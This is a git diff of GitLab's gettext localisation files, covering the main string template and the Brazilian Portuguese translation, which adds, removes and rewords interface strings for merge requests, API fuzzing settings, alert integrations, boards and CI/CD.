@@ -35783,6 +36654,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35955,7 +36829,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35992,13 +36866,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -36112,9 +36983,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36265,18 +37133,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -36307,9 +37169,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36376,15 +37235,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36672,9 +37522,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36720,6 +37567,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/pt_BR/gitlab.po b/locale/pt_BR/gitlab.po
index 999e9ace8b0..03dc423ca80 100644
--- a/locale/pt_BR/gitlab.po
+++ b/locale/pt_BR/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: pt-BR\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:49\n"
+"PO-Revision-Date: 2021-04-02 00:08\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d resultado do teste corrigido"
@@ -392,6 +402,9 @@ msgstr "Tópico de %{authorsName}"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr "%{commit_author_link} fez commit %{commit_timeago}"
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr "%{count} aprovações de %{name}"
msgid "%{count} files touched"
msgstr "%{count} arquivos modificados"
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr "mais %{count}"
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr "%{group_name} usa contas gerenciadas por grupo. Você precisa criar uma nova conta do GitLab que será gerenciada por %{group_name}."
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "%{usage_ping_link_start}Saiba mais%{usage_ping_link_end} sobre quais informações são compartilhadas com o GitLab Inc."
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (não pode fazer o merge)"
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] "1 merge request com merge"
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] "1 issue aberta"
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] "1 usuário"
msgstr[1] "%{num} usuários"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr "1-9 contribuições"
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr "Um usuário com permissão de escrita no branch de origem selecionou esta opção"
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr "Token da API"
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr "Conta e limites"
msgid "Account: %{account}"
msgstr "Conta: %{account}"
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr "Adicionar"
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] "Adicionar %d issue"
-msgstr[1] "Adicionar %d issues"
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr "Adicionar chave GPG"
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr "Adicione um botão Grafana na barra lateral do administrador, monitorando a seção, para acessar uma variedade de estatísticas sobre a saúde e desempenho do GitLab."
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr "Adicionar uma lista de marcadores"
@@ -1854,6 +1905,9 @@ msgstr "Adicionar comentário agora"
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr "Adicione cabeçalho e rodapé aos emails. Por favor, note que as configu
msgid "Add image comment"
msgstr "Adicionar comentário de imagem"
-msgid "Add issues"
-msgstr "Adicionar issues"
-
msgid "Add italic text"
msgstr "Adicionar texto em itálico"
@@ -1911,6 +1962,9 @@ msgstr "Adicionar ou subtrair tempo gasto"
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "Adicionar reação"
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr "Adicionar ao Slack"
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr "Adicionar ao épico"
@@ -2022,6 +2079,9 @@ msgstr "Minutos adicionais"
msgid "Additional text"
msgstr "Texto adicional"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr "Adiciona"
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr "Ãrea do Administrador"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr "Você parará todas as tarefas. Os processos em execução serão abrupt
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr "Nota"
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr "Você está prestes a excluir permanentemente o projeto %{projectName}, seu repositório e todos os recursos relacionados, incluindo issues, merge requests, etc. Uma vez que você confirmar e pressionar %{strong_start}Excluir projeto%{strong_end}, este não poderá ser desfeito ou recuperado."
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] "Alerta"
msgstr[1] "Alertas"
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr "Permitir que proprietários de grupos gerenciem configurações relacion
msgid "Allow only the selected protocols to be used for Git access."
msgstr "Permitir que apenas os protocolos selecionados sejam usados para acesso ao Git."
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr "Também chamado de \"Emissor\" ou \"Identificador de confiança em terce
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr "Também chamado de \"URL de serviços terceiros\" ou \"URL de resposta\""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr "Ocorreu um erro"
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr "Ocorreu um erro ao recuperar os comentários pendentes"
msgid "An error occurred while fetching projects autocomplete."
msgstr "Ocorreu um erro ao buscar o autocomplemento de projetos."
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "Erro ao recuperar informações da barra lateral"
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Ocorreu um erro ao buscar lista de painéis. Por favor, tente novamente."
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr "Ocorreu um erro na recuperação de logs da tarefa."
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr "Um issue pode ser um bug, um afazer ou uma solicitação de recurso que precisa ser discutida em um projeto. Além disso, os issues são pesquisáveis e filtráveis."
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] "%d membro"
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] "%{count} aprovação obrigatória de %{membersCount}"
msgstr[1] "%{count} aprovações obrigatórias de %{membersCount}"
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr "Aprovadores"
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr "Nome"
@@ -3826,9 +3934,6 @@ msgstr "Nome da regra"
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr "por exemplo, QA, segurança, etc."
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr "Você tem certeza de que quer perder as alterações não salvas?"
@@ -4026,6 +4137,12 @@ msgstr "Você tem certeza de que deseja parar este ambiente?"
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr "Você tem certeza que quer destravar %{path_lock_path}?"
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr "Tem certeza de que deseja cancelar o recebimento do %{type}: %{link_to_noteable_text}?"
@@ -4068,14 +4185,14 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user} enviou para o branch %{branch} do projeto %{project_name} ( %{commit_url} ):"
-msgid "AsanaService|Asana - Teamwork without email"
-msgstr "Asana - Trabalho em equipe sem e-mail"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
+msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
-msgstr "Lista de branches separados por vírgulas que serão automaticamente inspecionados. Deixe em branco para incluir todos os branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
+msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
-msgstr "Token de acesso pessoal do usuário. O usuário deve ter acesso à tarefa, todos os comentários serão atribuídos a este usuário."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
+msgstr ""
msgid "Ascending"
msgstr "Ascendente"
@@ -4501,6 +4618,9 @@ msgstr "Foto de perfil será removida. Tem certeza?"
msgid "Average per day: %{average}"
msgstr "Média diária: %{average}"
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr "Um usuário com acesso à API, se aplicável"
msgid "BambooService|Atlassian Bamboo CI"
msgstr "Atlassian Bamboo CI"
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr "Chave de plano de build Bambu como KEY"
@@ -4621,6 +4744,9 @@ msgstr "Cuidado. Alterar o namespace do projeto pode ter efeitos colaterais inde
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr "Tenha cuidado. Renomear o repositório de um projeto pode ter efeitos colaterais indesejados."
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr "Comece com o commit selecionado"
@@ -4645,7 +4771,7 @@ msgstr "Cobrança"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr "Painéis"
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr "Editar painel"
msgid "Boards|Expand"
msgstr "Expandir"
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr "Ver escopo"
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr "por"
msgid "CHANGELOG"
msgstr "CHANGELOG"
-msgid "CI / CD"
-msgstr "CI / CD"
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr "Configurações de CI / CD"
-
msgid "CI Lint"
msgstr "Checar syntaxe de CI"
@@ -5223,6 +5365,12 @@ msgstr "O CI será executado usando as credenciais atribuídas acima."
msgid "CI/CD"
msgstr "CI/CD"
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr "Configuração de CI/CD"
@@ -5312,6 +5460,27 @@ msgstr "CONTRIBUINDO"
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
